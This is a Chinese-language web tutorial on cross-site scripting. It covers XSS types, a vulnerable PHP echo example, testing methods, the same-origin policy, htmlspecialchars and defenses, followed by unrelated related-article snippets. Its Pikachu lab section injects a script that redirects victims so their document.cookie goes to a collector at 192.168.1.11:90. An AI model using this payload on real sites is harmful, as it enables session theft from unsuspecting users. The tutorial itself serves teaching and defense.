09.XSS跨站脚本攻击(超详细!!!)

news2024/9/20 22:51:34

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)

<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这里插入图片描述
在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

<script>alert(1)</script>

在这里插入图片描述

在这里插入图片描述

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

<a href='"+str+"'>what do you see?</a>

<a href='#' onclick="alert(1111)">what do you see?</a>

<a href='#' onclick="alert(2222)">what do you see?</a>

在这里插入图片描述

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

在这里插入图片描述

进入这个界面后,点击进行初始化安装

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

111'"><script>alert(1)</script>

在这里插入图片描述

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

在这里插入图片描述

登录用户名和密码分别是admin和123456

在这里插入图片描述

发现登录进去之后会弹出我们刚才注入的信息

在这里插入图片描述

在这里插入图片描述

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

在这里插入图片描述

通过下面的代码获取cookie

<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向

注入后提交

在这里插入图片描述

再登录到管理员后台,发现登录完成后会自动跳转到首页

在这里插入图片描述

在这里插入图片描述

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域

http:// www.   oldboyedu.com :80 /   news/index.php
协议    子域名    主域名       端口      资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

& 转换为 &amp;
" 转换为 &quot;(双引号)
' 转换为 &#039;&apos;(单引号)
< 转换为 &lt;
> 转换为 &gt;

参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984840.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

好书推荐|大模型必学《Transformer自然语言处理实战》

今天又来给大家分享ai大模型书籍了&#xff0c;今天是这本非常畅销的书----《Transformer自然语言处理实战》涵盖了Transformer在NLP领域的主要应用。 首先介绍Transformer模型和Hugging Face 生态系统。然后重点介绍情感分析任务以及Trainer API、Transformer的架构&#xff…

深入了解App设计流程的7个关键阶段

在当今数字时代&#xff0c;每个人的日常生活都与各种应用密切相关。APP已经成为我们生活中不可或缺的一部分&#xff0c;无论是社交网络、健康服务、购物还是娱乐。优秀的APP设计不仅能提供良好的用户体验&#xff0c;还能吸引用户的注意力&#xff0c;有效传达信息。作为一名…

《python语言程序设计》2018版第6章第33题使用五边形面积,利用函数重写编程3.4题 返回五边形的面积

之前03.04.01version 2024.02.04side_num eval(input("Enter the side: ")) area_num (5 * pow(side_num, 2)) / (4 * math.tan(math.pi / 5)) print("The area of the pentagon is {:>.20f}".format(area_num))本次代码 def area(side_num):side_num…

十分钟带你学会 Vue-router

安装、配置 Router Vue Router 是 Vue.js 官方的路由管理器。它和 Vue.js 的核心深度集成&#xff0c;让构建单页面应用变得易如反掌。 了解路由之前&#xff0c;我们需要先理解一个概念&#xff1a;单页应用。 单页应用 SPA(single page application):单一页面应用程序&am…

【微信小程序实战教程】之微信小程序中的 JavaScript

微信小程序中的 JavaScript 微信小程序的业务逻辑都是通过JavaScript语言来实现的&#xff0c;本章我们将详细的讲解JavaScript的基本概念&#xff0c;以及在小程序中如何使用JavaScript语言。JavaScript是一种轻量的、解释型的、面向对象的头等函数语言&#xff0c;是一种动态…

uniapp用自带的canvas做画板签字

如下图移动端经常需要做此功能,用户签字。用户填表啥的。 先用touch进行监听手指的触摸事件 获取所点击的坐标位置。 这里有很多要注意的地方。 初始化 uniapp里的canvas与原生的canvas有区别,渲染之后会多很多莫名其妙的div节点,并且还有个div直接就把原生的canvas覆盖…

仿真入门必看:怎么用CST软件自带宏提取材料的DK,Df值

我们知道如果在CST中要做精确的仿真&#xff0c;进行仿真测试对比&#xff0c;其中第一步就是要搞清楚仿真模型的参数&#xff0c;如果输入数据不对&#xff0c;那也避免不了垃圾进垃圾出的原则。和仿真相关的数据很多&#xff0c;其中PCB板的介质参数Dk, Df就是介电常数的实部…

吓傻!自有品牌社交电商靠AI 智能名片商城小程序逆天改命!

摘要&#xff1a;本文深入探讨了自有品牌型社交电商的发展历程、显著特点以及未来趋势&#xff0c;特别以微商品牌为典型案例进行了详细剖析。同时&#xff0c;重点阐述了在数字化时代的大背景下&#xff0c;自有品牌型社交电商如何通过与 AI 智能名片商城小程序的有机融合&…

VueRouter 相关信息

VueRouter 是Vue.js官方路由插件&#xff0c;与Vue.js深度集成&#xff0c;用于构建单页面应用。构建的单页面是基于路由和组件&#xff0c;路由设定访问路径&#xff0c;将路径与组件进行映射。VueRouter有两中模式 &#xff1a;hash 和 history &#xff0c;默认是hash模式。…

scikit-learn 算法选择决策树

介绍 下图帮助我们在使用 scikit-learn 库时选择合适的算法&#xff0c;可作为参考。

leetCode - - - 数组

1.移动0&#xff08;leetcode283&#xff09; 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 class Solution {public void moveZeroes(i…

邮件API的API文档和技术支持资源如何获取?

邮件API如何集成到现有系统中&#xff1f;如何选邮件API服务&#xff1f; 对于开发者来说&#xff0c;理解和获取邮件API的API文档和技术支持资源至关重要。AokSend将详细介绍如何高效获取这些资源&#xff0c;帮助开发者顺利集成邮件API&#xff0c;并在项目中发挥其最大功效…

音频剪辑软件哪个好用?轻松处理音频的6款软件

在日常生活中&#xff0c;我们常常需要对音频进行编辑&#xff0c;无论是为了制作个性化的音乐铃声&#xff0c;还是剪辑重要的录音&#xff0c;或是创作音频片段。 面对这些音频剪辑的挑战&#xff0c;一款好用的在线音频剪辑免费版软件就显得尤为重要。 下面为大家推荐6个好…

打音游(补全程序)

首先最外层循环枚举的是总共的得分次数&#xff0c;包括x1,x,x/2&#xff0c;那么n-i就是没得分的情况。 里层循环j代表得x/2的情况&#xff0c;要么没有&#xff0c;要么最多1次&#xff0c;如果两次会变成x那么之前的循环已经枚举过了。 lower代表的是得x1分的下限那就是总…

六通道CAN(FD) 集线器

一 、功能概述 1.1 设备简介 CANFD 完全向下兼容 CAN&#xff0c; 以下统称 CAN(FD) 。本产品是CAN(FD)集线器&#xff0c; 支持名义 波特率 5k-1M&#xff0c; 数据波特率5k-5M&#xff0c; 开启位速率转换最低数据波特率100k。 支持每路单独设置接收帧类型&#xff08;软…

Apache Camel Karavan -理解一

Apache Camel 开始接触是在ETL数据&#xff0c;数据处理成为了现代企业必须面对的一个挑战。在数据处理中&#xff0c;etl&#xff08;提取-转换-加载&#xff09;的概念被广泛采用&#xff0c;其中提取指从源数据中收集数据&#xff0c;转换指将数据与所需数据配对&#xff0c…

uniapp创建一个新项目并导入uview-plus框架

近年来&#xff0c;随着技术的发展&#xff0c;人们越来越意识到跨平台和统一的重要性。对于同一款应用来说&#xff0c;一般都会有移动端、PC端、甚至小程序端。这是由于设备的不同&#xff0c;我们必须要做很多的客户端来满足不同的用户需求。但是由于硬件设施的不同&#xf…

谷粒商城实战笔记-131~132-商城业务-商品上架-构造sku检索属性和库存查询

文章目录 一&#xff0c;131-商城业务-商品上架-构造sku检索属性1&#xff0c;开发目标2&#xff0c;详细设计2.1&#xff0c;根据spu_id获取所有的规格参数2.2&#xff0c;根据上一步中查询结果进一步确认是否可搜索2.3&#xff0c;将可搜索的属性封装到Java模型中 二&#xf…

MySQL命令行工具的配置和使用

一、Windows启动命令行工具 1.打开Windows的开始菜单&#xff0c;找到安装好的MySQL&#xff0c;点击MySQL 8.0 Command Line Client - Unicode&#xff0c;这个带有Unicode的&#xff0c;是支持中文的&#xff0c;允许在命令行中敲中文。 然后从打开的窗口输入安装MySQL时设置…

【探索Linux】P.45(NAT技术 | NAPT技术)

阅读导航 引言一、NAT技术1. NAT技术引入2. NAT技术简介&#xff08;1&#xff09;基本原理&#xff08;2&#xff09;主要类型&#xff08;3&#xff09;技术优点&#xff08;4&#xff09;技术挑战&#xff08;5&#xff09;应用场景 二、NAPT温馨提示 引言 在上一篇文章中&…